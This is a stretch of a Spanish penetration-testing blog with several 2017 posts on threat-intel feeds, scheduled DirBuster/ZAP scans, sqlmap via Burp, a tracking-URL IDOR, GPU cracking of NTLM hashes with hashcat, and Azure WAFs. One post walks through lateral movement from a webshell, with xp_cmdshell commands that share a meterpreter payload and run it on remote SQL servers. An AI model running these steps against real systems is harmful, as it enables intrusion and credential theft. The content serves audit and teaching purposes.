jueves, 1 de junio de 2017

Threat Intelligence. Dame IOC´s-Consume IOC´s. MINEMELD OpenSource Palo Alto.

Estimados amigos de Inseguros !!!

En este blog junto con el de Eset España he hablado varias veces del Threat Intelligence y de herramientas que nos pueden ayudar para su gestión. Tambien teneis un video de PaellaCon con una charla que di al respecto.



En esta entrega de Inseguros no voy a profundizar en el uso del Threat Intelligence, para eso puedes tirar para atrás, pero si que voy a comentar un poco el uso de esta fabuloso herramienta similar a CIF pero bastante más ágil.

El concepto es MUY sencillo. Introducir IOC´s de distintas fuentes y lo exporto de distintas maneras.

En el mundo de la monitorización y los Security Operations Centers o SOC es irremediable contar con un conjunto de proveedores de inteligencia que ayuden la labor del analista a distinguir amenazas.

Estas fuentes deben ser libres por supuesto, de pago si lo consideras, externas y como no internas.

Imagina una alerta leve de un incidente a uno de nuestros activos. Contar con la información detallada del origen, y poder evaluar por ejemplo que se trata de una IP que lleva desde las 7:00 de la mañana barriendo una zona geográfica, y que un analista la ha considerado como maliciosa porque descarga una pieza de malware. Quizás a ti te haya una alerta del tipo respuesta DNS con contenido .ru ... pero tampoco vas a parar el mundo cada vez que esto sucede.. o si :-)

Al lío, vamos a "destripar" la herramienta para que juzgues por ti mismo.

El mundo de tener que pelearte con la máquina para instalar las cosas murió el día que aparecieron los how to´s verdad? claro que no :-) Murió con Docker/Ansible y las máquinas virtuales :-)


Podemos elegir cómo desplegar nuestras instalación, en un sistema bare-metal con todas las fuentes, o podemos hacer CLICK y que se despliegue la máquina en tu cloud favorito, externo o interno.

En mi caso despliego sobre Azure, me despliega una máquina pequeña mediante una plantilla, me abre los puertos ssh y https y en 3 minutos empieza a funcionar.

Mientras que empieza, puedas conectarte por ssh para ver el progreso.


Si todo ha ido bien se nos presentará un cuadro de mandos una vez hayamos hecho login con el usuario y password por defecto.


El primer concepto que debemos manejar es el de Node. Cada Node es un conjunto de configuraciones de entrada, procesamiento y salida. 

Hay un concepto de Prototype que es la configuración exacta del "parser" que va a recolectar la información. En el podemos configurar url,  intervalos, clasificación y demás. Vamos a ver por ejemplo un preconfigurado para AlienVault Reputation.


Creamos un Node que use este prototipo para que el proceso de recolección empiece.

Ahora tenemos esta fuente de información recolectando direcciones IP.

Ahora creamos otro node, del tipo OUTPUT en formato lista de ip pero podemos usar cualquier de las salidas disponibles, para que pasándole este input de Alienvault, genere una salida que podamos incorporar a cualquiera de nuestros sistemas que usen este formato.

Te dejo verlos durante un rato aquí: https://52.183.117.83/feeds/test
En formato CDIR: https://52.183.117.83/feeds/test?tr=1
En formato json: https://52.183.117.83/feeds/test?v=json-seq


El software pinta bien. Usa una arquitectura un poco rara o desconocida para mi, usando un motor de base de datos round robin=?!"·?!"·= y un servidor nginx

Ahora voy a cargarla lo más automáticamente las fuentes que manejo, en la actualidad, más de 120 y a ver cómo se comparta.

Espero que os guste la idea y que la manejes tu mismo.

Un saludo !!!



domingo, 21 de mayo de 2017

Famosa !!! muñeca o celebrity. Opiniones...

Estimados amigos de Inseguros !!!

Llevamos unas semanas más ajetreadas de lo normal con la exposición de la gente a los medios y después del tonteo del otro día de Wannacry sospecho que va a dar para varias entregas.


Aunque ya he expresado mi opinión al respecto en varios foros, me apetece escribir por aquí lo que quiero sin las restricción de los 140 caracteres o la app. móvil.

Para centrar un poco mi opinión voy a hablar de otras dos de mis pasiones aparte de la informática, que he vivido como algo más que un hobby, como un estilo de vida, pero que al final pasó como lo que está pasando ahora mismo con la infosec.

Era 1993 o así. Estaba metido de lleno en la cultura hip hop. Si estás o has estado sabrás de lo que hablo, una cultura reivindicativa, antisocial, transgresora, con varias facetas de expresión artística como el graffiti, el break dance y el rap.

Estábamos en la movida, escribí un fanzine de graffiti en el que pegaba fotos sobre un a3, escribía al título con la máquina de escribir y lo pegaba debajo. Luego se fotocopiaba y se vendía por 300 pesetas. Recuerdo con ilusión como de mano en mano, fotocopia en fotocopia, recibimos cartas, si cartas con sello, de gente de TODA España felicitándonos por el trabajo.




Mis mejores amigos cantaban Rap, muchos amigos. De repente, salió en la prensa un grupo de Madrid, los poetas violentas. Eran todos una banda, vestidos igual, rapados igual, gente con dinero que pudieron acceder a grabar un disco, cuando los demás estábamos con las cintas.


No se lo merecían, no eran los mejores, no eran lo únicos, pero fueron los primeros en sacar un disco de rap en España. Los medios escribieron soberanas tonterías gracias a la desinformación. Apareció el príncipe de bell air... años más tarde Eminem, las batallas de gallos y todo se fue a tomar por culo.

La cultura desapareció, y el hip hop se convirtió en un baile de un talent show, y el rap se conviritió en cualquier persona que rima sobre un 4x4 rimando los finales.

Ahora de los 1000 grupos que salen de rap, me gusta 1. Pero me da igual que hayan 999 malos. Es una opinión seguramente de abuelo cebolleta, y lo que durante un tiempo me molestó, ahora me la suda.

Ahora voy a seguir unos cuantos años más 1998/2000. Otra de mis pasiones, el SkateBoard.

Ya sabes, Sk8 or die. Todo el dia en la calle lleno de mierda con la tabla partiendome el cuerpo para sacar el truco más guapo. Aquí la cultura era esa, patina o muere. Era otro estilo de vida, en el que reivindicamos nuestras inquietudes deportivas, de manera de vivir, al margen de la aficiones "normales" que tenían las personas de nuestra edad: salir a ligar.

Cuando el skate salió a los medios MASIVAMENTE, con el juego de la playstation de Tony Hawk, hubo una revolución mediática. Las empresas de toda la vida que NO APOYABAN el skate, como Nike, Adidas, etc empezaron a contratar gente para vender sus productos. Los profesionales del skate.

Cuando Nike o Redbull ficha a un talento con la tabla, creeis que contratan al mejor, al que más trucos hace, al que más estilo tiene, al que más años llevan patinando, al que más se lo merece? PUES NO. Contratan a una mezcla de lo anterior, y alguien con "carismas" con "posse" con aspecto guay, que convine con su marca. Imaginas a un tipo gordo y feo patrocinado por Nike, por muy bueno que sea?

Después de vivir todo esto qué crees que pienso cuando veo a un tipo más parecido a un módelo anorexico que a un chaval de 18 años, vestido de moda, con la tablita de longboard? o a la misma figura en chica que lleva el longboard bajo el brazo porque quiere ligar con el tipo del skate... Como con el hip hop. hubo un tiempo en el que me reventaba, ahora, me la suda...

AQUÍ EMPIEZA LA PARTE DEL HACKING.


Al igual que el skate, el hiphop, el surf hace 40 años, el rock hace 50, el hacking ha cambiado. Ahora está en los medios, y te guste o no, es lo que hay. No chochees con una cultura que nació hace 30 años con unos motivos, con la lucha contra telefónica y la tarifa plana, con el acceso a internet universal, con el afán del conocimiento libre y accesible. El hacking de ahora lo hacen gente que ha estudiado su carrera con matrículas de honor, que ha hecho un master no se donde, y que de lunes a viernes trabaja 50 horas haciendo test e informes.

Si tu eres de los de antes, ole tus huevos. Si eres de los de ahora, ole tus huevos. Todo es válido, y precisamente gracias a la lucha de muchos por esa libertad en internet, ahora están las nuevas generaciones. Qué quieres, que te paguen? que te admiren? NONONO, esto no va así.

Queridos haters, prefiero ser el tonto del BMW que el listo que no tienen para pipas. Quizás tú vayas al cielo hacker, o quizás seas un perdedor hobbit de la tierra media, enano criticón, jaajajaja.

Espero que hayas entendido mi opinión. Hay gente que sigue anclada a un pasado, pero porque el pasado les venía mejor. Yo miro siempre hacia un futuro mejor, y lucho por ello. Mirar hacia atrás es bueno, pero solo para tomar impulso. no para anclarse.

Se que no me voy a ganar muchos amigos de la cultura hacker, pero lo dicho, OS ENTIENDO, lo he vivido con otras pasiones mías, pero la realidad al final es la que es. El tiempo pasa, y si no creces, envejeces.

Respecto a los rankings, méritos, títulos, conferencias, incidentes, de todo eso paso de opinar. Al final cada uno lucha por lo suyo de la manera que cree oportuna. Por supuesto que no iría nunca a ninguna ciberguerra con la bandera del pp por 2.000€, pero respeto a mis amigos que salen en la entrevista por el trabajo que hacen, aunque el tonto del periodista los haya metido en un embolao. A TODOS. no vale decir que unos sí y otros no, porque son tus amigos unos o los otros, TODOS los mencionados son grandes en lo suyo, unos técnicamente, otros en la divulgación, etc, pero TODOS aportan.

OS KIERO.

miércoles, 10 de mayo de 2017

Ventana de auditoria 2am-7am. ¿Me levanto o lo dejo programado?

Estimados amigos de Inseguros !!!

Hace unos días un cliente comentaba el caso de una auditoría de sistemas perimetral, de una organización none-stop, 24/7 etc. No conozco a ninguna empresa que no se venda asi :-) Todos son la NASA.

El caso es que pedía que las tareas de automatización con herramientas se lanzarán en horas de baja actividad, lo típico. Lo de esta empresa era que lo típico no eran las 19:00 o los fines de semana, era la madrugada.


Claro, si cobramos el precio hora a precio de noche, 5 veces más caro, la auditoría la va a hacer Rita la bailaora...

Hay tipos de empresas en las que la respuesta es " SISISISIS, por supuesto" y en otras debe ser así.

Dentro mi filosofía de trabajar poco y rendir mucho pensé en que si Dirbuster y Zap, que son dos herramientas que suelo usar ,tienen línea de comandos, tengo el asunto hecho.... pues nada, vamos a ello.

Dirbuster, localizo el jar dentro de mi linux y pruebo con esto:

java -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://www.google.es -H -l /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e asp,aspx,php,txt,doc,docx,xls,xlsx,* -t 90 -v

Con un -h tienes toda la ayuda.

En mi caso instale el paquete AT y hago lo siguiente: at 11:59 AM Thu -f /var/dirbustar_google.sh

Más claro agua, a las 11:59 ejecuta el script con la ejecución de dirbuster...



Ahora el turno es para Zap, otro de mis habituales.

Sin muchas complicaciones, me bajo el git del proyecto https://github.com/garethr/zapr que hace realmente lo que quiero, mediante una api de zap permitirme acceder a uno puñao de comandos.

Instalo como el autor indica con gem install zapr

zapr --debug --zap-path /usr/bin/zaproxy http://127.0.0.1

De esta manera lanzará un spider básico sobre el target y un attack por defecto.

Si necesitas más granularidad, como por ejemplo autenticación, elegir políticas, etc puedes usar https://github.com/Grunny/zap-cli que nos permite un poco más configuración..

Bueno creo que ha quedado clara la reflexión de tener que hacer tareas en horas raras y que podemos jugar con la línea de comandos y con at para ejecutar las órdenes previamente configuradas.

Eso si, no olvides cobrar las horas como si realmente te hubieras levantado :-)


Gracias por leerme !!!

martes, 2 de mayo de 2017

Burp +CO2 extension: Sql Map más fácil

Estimados amigos de Inseguros!!!

Hoy voy a comentar un pequeño truco que espero que os sirva para vuestras tareas de auditoria.

Vamos a ver la extensión CO2 . Muy sencillo, nos proporciona una especie de front end para sqlmap.

Lo primero es instalarla. O bien nos bajamos el jar o desde el propio Burp, extender, buscamos e instalamos.

Vamos a imaginar el típico caso de una aplicación que estamos auditando manualmente y que encontramos un parámetro vulnerable a inyección. Queremos usar SqlMap para automatizar la extracción de base de datos y demás. Hasta aquí normal.

El caso es que tenemos que usar la cookie de sesión en SqlMap porque la aplicación así lo requiere.

Aparte, queremos usar las típicas preguntas y configuraciones que nos proporcionar SqlMap, hasta el Wizard !!!, pues dale.

Navegamos por la URL que queremos comprobar, botón derecho, enviar a sqlmapper.


Graficamente tenemos todas las opciones a configurar y un bonito comando listo para copiar y pegar ( en mi caso sqlmap está en otro sistema) en SqlMap y realizar el ataque.

Por supuesto que esta extensión no solo nos ofrece esta posibilidad. Nos ofrece ayuda para subir shells, manejar wordlist y algunas cosas más. Muy intuitiva.

Espero que os guste este pequeño truco.

Gracias por leerme !!!

jueves, 27 de abril de 2017

Nunca uses un id en claro en una URL !!! Servicios de mensajería.

Estimados amigos de Inseguros !!!


Seguro que siendo usuario de Internet, y de páginas como estas, realizas compras On line. No? Qué raro eres xD

Llevo viendo durante mucho tiempo este fallo en casi todas las plataformas, y es que usan el id de pedido para hacer el tracking, siendo el id de pedido un número en claro, sin hash ni ofuscamiento de ningún tipo. En la URL.

Esta mañana esperando ansiosamente un pedido, ya sabes, rollo F5 compulsivo, me veo que el repartidor ha tenido la cara de ponerme como ausente. Ausente estaba en clases de pequeño. Ausente estaba cuando en casa mi madre me enbroncaba. Ausente estoy cuando entro en modo si-cariño, pero ausente esperando un pedido de ropa que he pagado?


Pedazo de ... el mal ha salido de mi, y aparte de llamar a la agencia, ablbalabl, he pensado en probar el ataque codo-comilla, en la versión "me apoyo en el pc y cambio un número por otro".



Por supuesto que no he utilizado ninguna herramienta automática para ver esto, es ilegal, nada de usar Burp o Zap en modo Intruder. sino que ha sido un accidente, al apoyarme, al pasar el gato por el teclado y luego el otro gato.

No son datos muy sensibles. O si, depende. Podría hacer una traza de por donde va el reparto, sabiendo poblaciones y horarios, adivinar la ruta del repartidor. Podría calcular el número de envíos que gestionan para este proveedor, siendo yo una agencia que quiere hacer una mejor oferta.
Como se el camión, puedo saber que mi vecino del edificio de enfrente pide todas las semanas, en fin, que es información no controlada que no tendría que ser accesible.

Aparte, si el cambio lo haces en el campo cliente y no envio, puedes ver la empresa que usa el servicio. 




La recomendación sería simple, usar un hash en el id de la URL, para que no sea consecutivo o predecible. Aparte, usar un captcha para evitar fuerza bruta. Usar un waf o bloquear el user-agent "gato-curioso" tampoco estaría de mas.

Es curioso porque esto suele pasar en MUCHAS agencias de transporte.

El problema es que muchas usan por detrás webservices en formato REST, que como la gente no conoce o no se ve en la web no se invierte en seguridad... en las que teniendo fechas-códigos usuario y códigos de envío, puedo poner incidencias, o puedo modificar destinos, esto ya si que se considera un fallo de seguridad grave.

En el borrador del Owasp 2017 ya se incluye la falta de medidas defensivas como un fallo de seguridad, en su categoría a7


Para los curiosos, esto me he comprado xDDDDDDD





miércoles, 26 de abril de 2017

Cracking NTLM hashes con Azure GPU por unos céntimos... o mejor... gratis !!!

Estimados amigos de Inseguros !!!

*Esto no es un post que pretenda aportar mucho sobre el cómputo,  CPU, GPU, cracking, comparativas etc. Aunque se mencionen, el propósito es iniciar al lector en la modalidad y dar a conocer la posibilidad de hacerlo en Azure. Si eres un experto en esta materia, gracias*



Uno de los primeros pasos que hacemos en un entorno de post-explotación, aparte de elevación de privilegios, suele ser el volcado de claves del sistema.

Lo normal es que en un sistema mas o menos modernos y bien implementado las claves se guarden de manera "cifrada" con un hash, con algoritmo mas o menos conocido, mas o menos seguro.

En el caso de los equipos Windows solemos extraer las credenciales de la SAM o de la red en formato NTLM, ya sabes:

Administrador:AAD3B435B51404EEAAD3B435B51404EE:ECC35EE867B405EF13B357DA0B0C0663

Lo habitual es acceder a alguna de las bases de datos online que hay con hashes pre-calculados para probar fortuna con nuestro hash. Si en la base de datos aparece tenemos la contraseña en claro.

Otra posibilidad es usar la debilidad de Pass The Hass en sistemas Windows pre-2016 (configurado) en la que podemos emplear el hash como token de seguridad, en vez de la clave. Psexec es la herramienta "by default" para usar el hash en vez de la contraseña en conexiones remotas, ejecución de comandos etc.

Muchas veces, el hash no es suficiente, porque el equipo de gerencia no encuentra esta información relevante, o porque tenemos un entorno en el que sospechamos que la clave de administrador se usa en distintos servicios ( diferentes equipos, servicios, webs, etc) y es un MUST conseguirla en formato claro.

Ahora vienen las opciones, ¿como desciframos un hash NTLM de muchos caracteres?

Tenemos varias aproximaciones:

Fuerza Bruta con un diccionario: Confiamos en el que la password aparece en un diccionario.ç
El diccionario puede ser de palabras, y generado por nosotros, con variaciones de años, nombre de empresa, recursos, 3 por e, 0 por o, todo este tipo de cosas. ¿Si no funciona qué?

Fuerza Bruta con Rainbow Tables: Las Rainbow tables son combinaciones de hashes/claves ya precalculadas que hacen mucho más rápido el descubrimiento de la contraseña.
El tema está en que esto pesa, pesa en disco. Yo he manejado Rainbow Tables del espacion ascii mayusculas/minusculas de 8 caracteres de longitud, de 40 gb. El de 9 caracteres, casi 400gb. Si quieres probar contraseñas de más de 10, lo tienes DIFICIL sin comprarte un montón de discos duros, montón es MUCHO.

Fuerza Bruta: Este es el caso que nos atiende hoy. Este caso es muy sencillo, empezar a probar todas las combinaciones posibles de letras, caracteres, números y longitud hasta encontrar la contraseña.

La operación de fuerza bruta consume primordialmente cómputo. Cpu.

Como muchas sabéis, para realizar grandes cálculos se utilizan las "cpu" de las GPU, las tarjetas gráficas. Estás presentando una configuración de procesador optimizado para el rendimiento de las imágenes, que también consumen mucho computo, por lo que suelen ser usadas y ofrecen un rendimiento mucho más alto.


Cuando digo mucho más alto, es MUCHO, no es el doble, triple, ni 10 veces más, es MUCHO mas.

Vayamos por partes. Lo primero que vamos a hacer es descargar la herramienta HASHCAT, disponible para sistemas windows y linux. Según preferencias. Tenemos que tener la última versión de nuestros drivers de video activos. Quizás nos pida algún driver relativo a OPencl para el paralelismo entre varios dispositivos....

Voy a hacer una prueba en la castaña de portatil que uso ahora mismo. Estos son los datos y rendimiento que arroja HashCat en modo benchmarking para hash del tipo NTLM.


La humilde tarjeta integrada de mi portátil ofrece 273,7 millones de hashes por segundo. No está mal. Si fueran céntimos de euro...

Vamos a compararlo con algo. Por ejemplo, con el espacio de hashes que hay NTLM de mayusculas/minusculas/caracteres especiales de 9 caracteres de longitud:

13,759,005,997,841,642

Si lo divides entre mi potencia de cálculo, tardaría más de 2 años en sacar el hash/clave.

Vamos a compararlo con algo más curioso, con la capacidad de minado de Bitcoins. Nos vamos a la web: http://tpbitcalc.appspot.com/ e introducimos los datos. 


Sin contar gastos, en un año, ganaríamos 11 céntimos. Ya se va viendo que la capacidad de cómputo de mi tarjeta de vídeo es de risa.

Después de esta introducción :-) Vamos al asunto.


En Azure podemos usar máquinas del tipo N dotadas con tarjetas gráficas, GPU´s, de gran capacidad, en concreto NVIDIA K80 (2GPU y 24gb ram) y NVIDIA M60 (2GPU y 24gb ram). A esto le sumamos 20 cores de CPU y unos 120 Gb de ram. Estas son las configuraciones disponibles..



Como puedes ver, el tamaño de las máquinas es bestial. Las tenemos desde 700€/mes hasta 1500€/mes.

La cuestiones ha plantearse son varias.

Las máquinas no las vas a tener todo el día funcionando, sino las horas justas que creas convenientes para realizar los cálculos.

Azure puedes contratarlo "gratis" en modo de pruebas con 150€ de crédito... En el momento que te pases, te dirá, quieres seguir o paramos, por lo que no hay riesgo de sorpresas en la tarjeta.

Yo para mis pruebas use la NV12. Para poder seleccionar estas máquinas, al crearlas en Azure, debes seleccionar tipo de disco HDD y zona centro-sur de EEUU. No están disponibles en todas las zonas.

Lo que tenemos que tener claro son los pasos antes de empezar, para ahorrar tiempo.

En mi caso tenía preparado los drivers,376.84-tesla-desktop-winserver2016-international-whql     hashcat https://hashcat.net/hashcat/ y OPENCL https://software.intel.com/en-us/intel-opencl

Bájalo primero !!! Una vez instalado todo:


Menuda máquina. Ahora vamos a ir probando configuraciones hasta dar con la tecla. Os paso dos capturas en las que la diferencia de un comando a otra dobla la velocidad del proceso.



hashcat64.exe -a 3 -m 1000 hash.txt --force -w3

Al final estoy rindiendo a 12.000 Mh/s... ¿recuerdas los 250 de la tarjeta del portátil?

Los dos años del espacio de 9 caracteres se han hecho en:


En una hora y cuarto. Esto es un poco relativo, porque la clave puede estar al principio de XXXXXXXXX o al final, pero para hacernos una idea, es suficiente.

En cuanto al minado de bitcoins, podríamos ganar dinero usando los 150€ gratis de Azure?


Hemos pasado de 11 céntimos a 5 €, sin meter costes claro !!!

Espero que te sirva de ayuda este post para realizar alguna prueba de concepto xD o simplemente para iniciarte en el mundo del Cracking y las GPU.

Tengo que dar las gracias a dos señores que dieron una master class el otro día en el Azure Boot Camp 2017 de Madrid sobre todo esto de la series N de Azure, el cracking, los vídeo juegos y demás.

Os recomiendo que los sigáis, sino lo hacéis ya, porque son unos máquinas en esto y mejores personas.

Carlos Milán: https://twitter.com/cmilanf
Alberto Marcos: https://twitter.com/alber86


https://channel9.msdn.com/Events/Microsoft-Spain-Events/Azure-Bootcamp-Madrid/Track-1-Sesin-4-GPU-Cloud-Computing-la-potencia-de-la-aceleracin-grfica-en-Azure

Gracias !!!


miércoles, 19 de abril de 2017

WebShell Windows. Como subir exe-meterpreter a distintos host mediante sqlserver...

Estimados amigos de Inseguros !!!

Voy a comentar un par de trucos que he tenido que usar para un proyecto de auditoria de un cliente.

El escenario es un poco raro, o mejor dicho, difícil de explicar, voy a intentar reflejarlo bien.

Seguro que hay mil maneras de hacer lo mismo, pero no se me ha ocurrido otra forma.

Escenario, servidor web con Sql Server comprometido con una webshell, la típica ASPXspy que me gusta bastante. Granja de servidores Windows parcheados, sin la misma clave de admin, y con el Sql Server con el mismo SA.

Lo primero que hago es ver los archivos web.config para intentar acceder a la base de datos. Como es normal, y por mucho que se diga, la conexión a la base de datos la hacen con el usuario SA, por lo que puedo ver TODAS las bbdd, me ahorran tener que ir uno a uno por los directorios de los proyectos viendo los ficheros, y bueno, tener acceso completo al Sql Server.

Ahora es el paso de subir un exe con el payload de meterpreter para intentar hacer la post-explotación más cómoda. Lo subo y desde la misma herramienta ejecuto el cmd con el fichero y tengo mi meterpreter.


Al contrario que en los manuales, cuando intento escalar privilegios me encuentro que NINGUNO de los métodos que leo me sirven. Imagino que el nivel de parcheo del server es alto, porque usando los típicos módulos para escalada no consigo pasar del iis_pool, el proceso que corre la web, y por lo tanto con el que corre el meterpreter.

Con la amabilidad que presenta esta webshell, me conecto al Sql Server y ejecuto un cmd_shell, que está vez si está habilitado, pero qué con la misma web shell tenemos la opción para habilitarlo si no lo estuviese, para eso somos SA xD.


Teniendo acceso al cmd con el "proceso" que corre el Sql Server pienso en ejecutar el exe meterpreter pero desde este contexto, y no desde el cmd de la webshell. Cual es el resultado, que la sesión meterpreter se me abre como system... en vez de iis_pool, por qué ? porque la gente no sabe aún que los servicios importantes, como Sql Server, Exchange, etc, se deben ejecutar con usuarios aislados del sistema. Pues nada, gracias. !!! Ahora ya puedo migrar a proceso, persistencia y hacer hashdump, incongito, etc...


Una vez "dentro" de la red encuentro una granja de servidores Sql Server en una dmz.

Con psexec intento conectarme a cada uno, pero no, no usan la misma clave de administrador que tengo del primer server ( Realmente la clave no, el hash, pero es lo mismo...)


Se me ocurre pensar, que los 10 servidores Windows no compartían la clave del admin, pero serán tan finos de hacer lo mismo para el Sql Server nooooooo, mismo SA en todos.

Entonces, teniendo acceso system a una consola cmd, pero solo desde la webshell, como hago para llevarme todo eso a meterpreter?

Se me ocurre compartir el .exe original en el primer servidor, con este comando:

Exec master.dbo.xp_cmdshell ' net share hackeo=C:\inetpub\wwwroot**************\uploads /GRANT:EVERYONE,READ'

Empiezo con las tonterías, hay que poner Todos en castellano.

A pesar de indicarle que quiero los permisos TODOS LEER no comparte sin usuario/clave, por lo que tengo que hacer esto:

Exec master.dbo.xp_cmdshell 'Icacls C:\inetpub\wwwroot\up\uploads\ /grant Todos:F /inheritance:e /T'

Ahora ya tengo compartida mi carpeta con el meterpreter.exe.

Ahora solo tengo que conectarme a los servidores destino, recuerda, con la opción de base de datos de la webshell, añadir la unidad de red, y ejecutar el meterpreter.exe.

Exec master.dbo.xp_cmdshell 'net use l: \\192.168.1.250\hack '

TAMPOCO !!! No hay manera de decirle que los permisos eran TODOS, LEER. por lo que tengo que crearme un usuario local en el primer server, y pasarle de argumento a este comando el user/pass

**Imagino que los permisos que establezco son a nivel carpeta compartida, por lo que si no están los permisos a nivel ntfs sobre la carpeta/fichero compartido no accede, pero no tengo ganas de cambiar los permisos a nivel NTFS, le paso el usuario/pass y listo**

Ahora si que ejecuto el meterpreter en los 10 servidores, todos con permiso system.

¿Como lo hubieras hecho tu, si lo único que tienes es el SA de los servidores SQL Server, y los Windows están actualizados?

Gracias por leerme!!!


jueves, 13 de abril de 2017

1 millón de visitas en 5 años. Gracias Internete !!!

Estimados amigos de Inseguros !!!

La máquina no para, avanza, a veces corre a veces a ralentí pero no para. Don´t stop.



El motivo del post es celebrar el millón de visitas, para mi, un hecho impensable hace 5 años cuando comencé esta aventura personal llamada Inseguros.

Si hago un repaso a lo que ha cambiado mi vida en estos 5 años, me puedo hasta marear.


Lo mejor de todo es que esto ha sido posible gracias a ti.

Cuando le dijo a mis hijos que tengo 1 millón de visitas se creen que has mes, o al artículo. Quizás los blogs más populares de la materia si manejen esas cifras, o parecidas, pero no es mi caso. Mi caso es 1.000 visitas al día y ya las fluctuaciones normales de si hay post o no, de si es bueno o no, o de si alguno de los post se "mini" viraliza y crea alguna polémica o transcendencia en los foros.

Empecé este proyecto por varios motivos, que a fecha de hoy siguen siendo los mismos. Eso me enorgullece.

Quise tener mi repositorio de "conocimiento" para tirar luego de chuletas en casos de necesidad.

Quise tener mi repositorio propio obligarme a documentar y terminar los proyectos e ideas que se me ocurrían. Ya sabes, esas miles de cosas que vas leyendo super interesantes, y que nunca pones a la práctica.

Estas dos fueron los principales motivos de Inseguros.

Hace unos 15/20 años empecé uno también con kinomakino.tk con cosas de Microsoft, como no :-) pero lo abandoné en menos de 6 meses, las típicas "locuras" de joven xDDDDDDDD


Gracias al blog he conocido a muchas personas, porque creas o no, a donde he ido siempre he ido con "soy kino del blog Inseguros" y es una manera de conocer gente, de entrarle. Al igual que hago con mis tarjetas, cuando conozco a alguien y le doy mi tarjeta de visita no lo hago para que me llame para darme trabajo, ni mucho menos para darme el follón, es simplemente una manera social de acercarme. ** Subnormal**

He podido dar charlas en sitios muy interesantes, y esto es algo de lo que tengo en mente hablar alguien día, pero ahora mismo solo dar las gracias a todos aquellos que me han hecho sentir importante, querido, guardándome un sitio en sus proyectos. El primero como siempre Navaja Negra.


Todo esto respecto a mi. Respecto al blog. Estoy super orgulloso del crecimiento que ha tenido, para mi, en calidad. Comencé documentando herramientas y procesos sencillos. En algunos casos realice investigaciones propias, en otras solo revele mis ideas, pero creo que con el tiempo han madurado.

Mi estilo de escritura, faltas de ortografía y demás, no ha cambiado. MUCHOS me decían que tenía que cambiar eso para ser mas serios. A esos les digo que miren para que quiero el blog...

Otra de las cosas en las que estoy orgulloso es que lo mantengo yo, menos 1 artículo creo, todo el contenido es propio. Cuando escribo algo intento ver si en los blogs de la comunidad se ha hablado de lo mismo,si es así la mayoría de las veces desecho el contenido. Si creo que tengo bastante que aportar, por supuesto referencio el articulo previo.

Esto es bueno para mi, porque veo otras blogs que muchas veces repiten, otros copian, otros plagian completo, he visto de todo, y creo que no soy de esos.


Que te guste mas o menos Inseguros, está en cada persona, pero constantemente me llegan muestras de que si le gusta a la gente. No me refiero a los tweets/favoritos/me_gustas, etc de las redes sociales, la mayoría no leen ni una letra, me refiero a esos correos desesperados de gente haciendo procedimientos y que te piden ayuda como si les fuera la vida en ellos. Esa gente que te ve en los eventos y te comenta que siguiendo tu artículo le salió un fallo, o le salió bien !!! Esto si es real !!!

Bueno no tengo mucho más que decir. Muchas gracias por cada una de las visitas y muestras de apoyo que tengo con vosotros. Os kiero !!!


miércoles, 12 de abril de 2017

Azure Waf propio para APPS y Máquinas virtuales.

Estimados amigos de Inseguros !!!

Seguimos con la serie de artículos relacionados con Azure.

En el último artículo estuvimos viendo la posibilidad de incorporar el firewall web por excelencia del mundo software libe, Modsecurity, en nuestros despliegues de Apps en Azure.

Ahora vamos  a realizar una tarea similar, salvo que en esta ocasión vamos a usar el WAF propio que desde hace unos pocos días nos ofrece Azure.

El concepto es sencillo, es muy parecido a cuando configuramos una puerta de enlace para aplicaciones, digamos una ip virtual como hacemos en los casos de balanceadores. Una capa intermedia entre el cliente y el backend de aplicaciones. De esta manera, podemos balancear cargas a varios servidores, o en este caso, implementar una capa intermedia de WAF. Con esta capa podemos realizar las opciones de seguridad tradicionales, y podemos sumar las opciones de balanceo, configurando por ejemplo un grupo de backend para /archivos/ y otro para /vídeos/.


Lo que me parece realmente interesante de este Waf es que usa el mismo conjunto de reglas que podemos usar con Modsecurity en nuestros despliegues, el OWASP Crs 3.0 o 2.2 según preferimos. Imagino que este servicio será un fork de Modsec, no lo se, pero lo que está claro es que si facilidad de uso lo hace indispensable en cualquier escenario de servicios web en Azure. lo bueno que tiene a diferencia también de usar Modsecurity como hicimos en el anterior artículo es que podemos habilitar las opciones de diagnostico como vimos en el capitulo de log integration, es decir, todos los logs generados por el waf estarán disponibles en nuestra integración con el Siem. 


Como siempre intento aportar algo de conocimiento, y es a aquí donde espero ahorraros los días y horas de cabreo que he tenido. Cuando habilitas el diagnostico en la puerta de enlace para que almacene los logs en una cuenta de almacenamiento, a mi me daba problemas, por lo que no veía los logs del Waf.


Para solventarlo tuve que registrar la suscripción Insights en mi suscripción, algo que no aparece documentado en ningún sitio que me hizo perder casi una semana.

Ahora ya puedo ver logs de seguridad del waf en mi cuenta de almacenamiento, y según haya puesto detección o prevención, se pararán los ataques o solo se registrarán.



Con esto tenemos el servicio montado y listo para proteger de ataques web conocidos (conocidos por el conjunto de reglas Owasp). No he podido crear nuevas reglas, como si podríamos hacer si trabajamos con el Modsecurity nativo de los webservers, pero perderíamos las opciones de registro. 

El usar el servicio Waf tiene un coste, calculo que unos 30€ mes, por lo que debemos analizar este recurso. Hay que tener en cuenta que Modsecurity aumenta minimamente las cargas de CPU del servidor, que también son conceptos facturables... Lo que sin duda es más barato que las opciones clásicas de fabricantes de WAF, también disponibles en Azure como appliance virtuales.



martes, 11 de abril de 2017

Azure WAF Mod Security de casa en nuestros despliegues web.

Estimados amigos de Inseguros !!!

Esta gente de Microsoft se ha vuelto loca !!! En un click podemos instalar un servidor web iis con mysql y por ejemplo, un CMS Wordpress. Pero lo más gracioso es que con dos líneas podemos habilitar gratis Mod Security !!!

En esta web hemos hablado bastante de Mod security:

Reglas para Mod Security Free. Comodo y Atomic.

Introduccion a Mod Security y reglas free Owasp.

Consola web para Mod Security.

Mod Security y detener subida de ficheros maliciosos usando File Inspection con tus Home-Made Script.

Prevención de fugas de información en logs. Campo Passwords y Mod security

En todas las auditorias web que hago, cuando no encuentro WAF lo suelo categorizar como deficiencia muy alta. No vulnerabilidad, que es distinto. A no ser que uses un waf dedicado, o un CDN tipo cloudflare, o uses un Firewall Next Generation, IPS o similar, estás dejando todo el tráfico web que pase por delante de Firewall tradicional, por mucho que cueste 100€ o 100.000€. Si no hay inspección de paquetes en capa 7 no estás haciendo nada.


Dicho esto, con Azure podemos usar ModSec de manera sencilla con los despliegues de App.

